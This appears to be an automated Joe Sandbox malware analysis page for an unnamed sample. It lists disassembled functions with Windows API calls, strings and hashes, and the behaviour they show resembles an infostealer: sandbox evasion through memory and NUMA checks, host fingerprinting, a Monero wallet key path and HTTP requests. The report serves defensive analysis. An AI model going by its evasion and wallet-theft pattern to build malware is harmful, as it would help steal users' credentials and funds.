Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 65e4050e43ba6362e3baa4f600be03644e3b488edc70a561d41b533522fff7ef
Instruction ID: bf9448f6e33ece6a5851869305780d8e3c5534b4b2308597ed977b9574daa45d
Opcode Fuzzy Hash: 65e4050e43ba6362e3baa4f600be03644e3b488edc70a561d41b533522fff7ef
Instruction Fuzzy Hash: 85713B71A40218EBEB25DFA0CC49BEE77B8FF44701F508198F50A6B190DBB56A85CF52

Function 00145510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0014A820: lstrlen.KERNEL32(00134F05,?,?,00134F05,00150DDE), ref: 0014A82B
Part of subcall function 0014A820: lstrcpy.KERNEL32(00150DDE,00000000), ref: 0014A885

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00145644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00145857

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00145228

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 001452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00145318
Part of subcall function 001452C0: lstrlen.KERNEL32(00000000), ref: 0014532F
Part of subcall function 001452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00145364
Part of subcall function 001452C0: lstrlen.KERNEL32(00000000), ref: 00145383
Part of subcall function 001452C0: lstrlen.KERNEL32(00000000), ref: 001453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0014578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00145940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00145A0C
Sleep.KERNEL32(0000EA60), ref: 00145A1B

Strings

ERROR, xrefs: 00145849
ERROR, xrefs: 001459FE
ERROR, xrefs: 0014577D
ERROR, xrefs: 00145693
ERROR, xrefs: 00145932
ERROR, xrefs: 00145636

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b6d8f0f54bbe9b5ab54115c86c6842c62ea4507774153439c237367a6395d230
Instruction ID: 4e5331f6379c0b87019dd79af96d37a955b75db4bcaa72383634c83899cf45e1
Opcode Fuzzy Hash: b6d8f0f54bbe9b5ab54115c86c6842c62ea4507774153439c237367a6395d230
Instruction Fuzzy Hash: 1FE16172950504ABDB15FBB0DC52EED737DAFA4301F918128B406670B2EF346A4DCB92

Function 001417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 001417C5
ExitProcess.KERNEL32 ref: 001417D1

Strings

block, xrefs: 001417B7

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 01c444bed3f9e3bd6bd0d477a3fb3ad9e998a2942cbafbc8673e32ec711b3ca8
Instruction ID: a5b1125386dd98f4040d46965dbe367940a25d0131b86b702b510ff8815efaad
Opcode Fuzzy Hash: 01c444bed3f9e3bd6bd0d477a3fb3ad9e998a2942cbafbc8673e32ec711b3ca8
Instruction Fuzzy Hash: 73515AB5A1420AFFDB05DFE0D954ABE77B5BF44309F104048E816AB360D770A985CB62

Function 00147500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00147542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0014757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147603
RtlAllocateHeap.NTDLL(00000000), ref: 0014760A
wsprintfA.USER32 ref: 00147640

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Strings

C, xrefs: 0014754C
:, xrefs: 0014755C
\, xrefs: 00147560

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 3345dee9a37a005a09312ce41762f284446d9d23b956a54e9095e2ec36581230
Instruction ID: cd9f7b3ec661968bc594b0e54a5a017d50f35acfcd9a74d4fa6744aa2df7dba8
Opcode Fuzzy Hash: 3345dee9a37a005a09312ce41762f284446d9d23b956a54e9095e2ec36581230
Instruction Fuzzy Hash: A941B4B1D04248ABDF21DF94DC45BEEBBB8EF58704F100198F5096B2D0D7746A84CBA5

Function 001469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,010206C0), ref: 001498A1
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,010205A0), ref: 001498BA
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,010205B8), ref: 001498D2
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020780), ref: 001498EA
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020678), ref: 00149903
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01028AA0), ref: 0014991B
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01016700), ref: 00149933
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,010167A0), ref: 0014994C
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020618), ref: 00149964
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020810), ref: 0014997C
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020720), ref: 00149995
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,010207B0), ref: 001499AD
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01016A00), ref: 001499C5
Part of subcall function 00149860: GetProcAddress.KERNEL32(75900000,01020648), ref: 001499DE

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 001311D0: ExitProcess.KERNEL32 ref: 00131211

Part of subcall function 00131160: GetSystemInfo.KERNEL32(?), ref: 0013116A
Part of subcall function 00131160: ExitProcess.KERNEL32 ref: 0013117E

Part of subcall function 00131110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0013112B
Part of subcall function 00131110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00131132
Part of subcall function 00131110: ExitProcess.KERNEL32 ref: 00131143

Part of subcall function 00131220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0013123E
Part of subcall function 00131220: __aulldiv.LIBCMT ref: 00131258
Part of subcall function 00131220: __aulldiv.LIBCMT ref: 00131266
Part of subcall function 00131220: ExitProcess.KERNEL32 ref: 00131294

Part of subcall function 00146770: GetUserDefaultLangID.KERNEL32 ref: 00146774

Part of subcall function 00131190: ExitProcess.KERNEL32 ref: 001311C6

Part of subcall function 00147850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001311B7), ref: 00147880
Part of subcall function 00147850: RtlAllocateHeap.NTDLL(00000000), ref: 00147887
Part of subcall function 00147850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0014789F

Part of subcall function 001478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147910
Part of subcall function 001478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00147917
Part of subcall function 001478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0014792F

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01028AB0,?,0015110C,?,00000000,?,00151110,?,00000000,00150AEF), ref: 00146ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00146AE8
CloseHandle.KERNEL32(00000000), ref: 00146AF9
Sleep.KERNEL32(00001770), ref: 00146B04
CloseHandle.KERNEL32(?,00000000,?,01028AB0,?,0015110C,?,00000000,?,00151110,?,00000000,00150AEF), ref: 00146B1A
ExitProcess.KERNEL32 ref: 00146B22

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 924970beb3fde328ef0db43d024ae1dec70ffa17e82845f4add861ac5e47e394
Instruction ID: eedf169c9e37c08a77f2f884a2923f6c86615b9429353c7d9d380d18d4582322
Opcode Fuzzy Hash: 924970beb3fde328ef0db43d024ae1dec70ffa17e82845f4add861ac5e47e394
Instruction Fuzzy Hash: C7317F70980209ABEB05FBF0DC56BEE7738EF64305F914518F212A61A2DF706945C7A2

Function 00131220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0013123E
__aulldiv.LIBCMT ref: 00131258
__aulldiv.LIBCMT ref: 00131266
ExitProcess.KERNEL32 ref: 00131294

Strings

@, xrefs: 00131233

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: d5f28bee20ec76a8bf81e8c3114c8b4be6aeebb9e078244bd5e4758441143261
Instruction ID: 159da9e26f6b097d5f34ff5b3c8fa7bc0dde5e4ec7bada6d48e903b5f9c6cc2e
Opcode Fuzzy Hash: d5f28bee20ec76a8bf81e8c3114c8b4be6aeebb9e078244bd5e4758441143261
Instruction Fuzzy Hash: 5F01FBB0944308BAEF10EBE4DC49BAEBB78AB54705F308048E705B6290D77455458799

Function 00146AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01028AB0,?,0015110C,?,00000000,?,00151110,?,00000000,00150AEF), ref: 00146ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00146AE8
CloseHandle.KERNEL32(00000000), ref: 00146AF9
Sleep.KERNEL32(00001770), ref: 00146B04
CloseHandle.KERNEL32(?,00000000,?,01028AB0,?,0015110C,?,00000000,?,00151110,?,00000000,00150AEF), ref: 00146B1A
ExitProcess.KERNEL32 ref: 00146B22

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d588cc3e9e485dc862491a13995f6588da28fb7e9bbddd1bd662a8ad79a448bf
Instruction ID: bf335989fe887f10200414d70a9279c06997341754fcfa97e6455813d38d11e4
Opcode Fuzzy Hash: d588cc3e9e485dc862491a13995f6588da28fb7e9bbddd1bd662a8ad79a448bf
Instruction Fuzzy Hash: BAF0E2B0A40609EFE715ABA0DC0ABBD7B38FF14705F204814F517E20E1CBB01581D697

Function 001347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00134839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00134849

Strings

<, xrefs: 001347C9

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: c137ece1bae5970c6dfc8217cac1f0fae5de05da13df6ffcdc551f06fafe1cdb
Instruction ID: e60f9d4e42df4dd3f6e8b485103808c377d9756f663ebe5c7b64d6a8da86f754
Opcode Fuzzy Hash: c137ece1bae5970c6dfc8217cac1f0fae5de05da13df6ffcdc551f06fafe1cdb
Instruction Fuzzy Hash: 3C213EB1D00209ABDF14DFA5EC45ADE7B79FF44320F108625F915A7291EB706A0ACB91

Function 001451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 00136280: InternetOpenA.WININET(00150DFE,00000001,00000000,00000000,00000000), ref: 001362E1
Part of subcall function 00136280: StrCmpCA.SHLWAPI(?,0102E470), ref: 00136303
Part of subcall function 00136280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00136335
Part of subcall function 00136280: HttpOpenRequestA.WININET(00000000,GET,?,0102DA58,00000000,00000000,00400100,00000000), ref: 00136385
Part of subcall function 00136280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001363BF
Part of subcall function 00136280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00145228

Strings

ERROR, xrefs: 0014521A
ERROR, xrefs: 00145273

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 3666c2d8fac42e2b510474dd4c4c716acbefc58c373ea49276d2a9f9075c0bdf
Instruction ID: ef5bb97c61aa4656642841cd9d9f5f9fc1e250b1f275d7d3d2c3d60d3de69a92
Opcode Fuzzy Hash: 3666c2d8fac42e2b510474dd4c4c716acbefc58c373ea49276d2a9f9075c0bdf
Instruction Fuzzy Hash: 37113070944108FBEB14FF60DD52EED7739AF60301F914168F81A4B1A2EF30AB06CA92

Function 001478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147910
RtlAllocateHeap.NTDLL(00000000), ref: 00147917
GetComputerNameA.KERNEL32(?,00000104), ref: 0014792F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
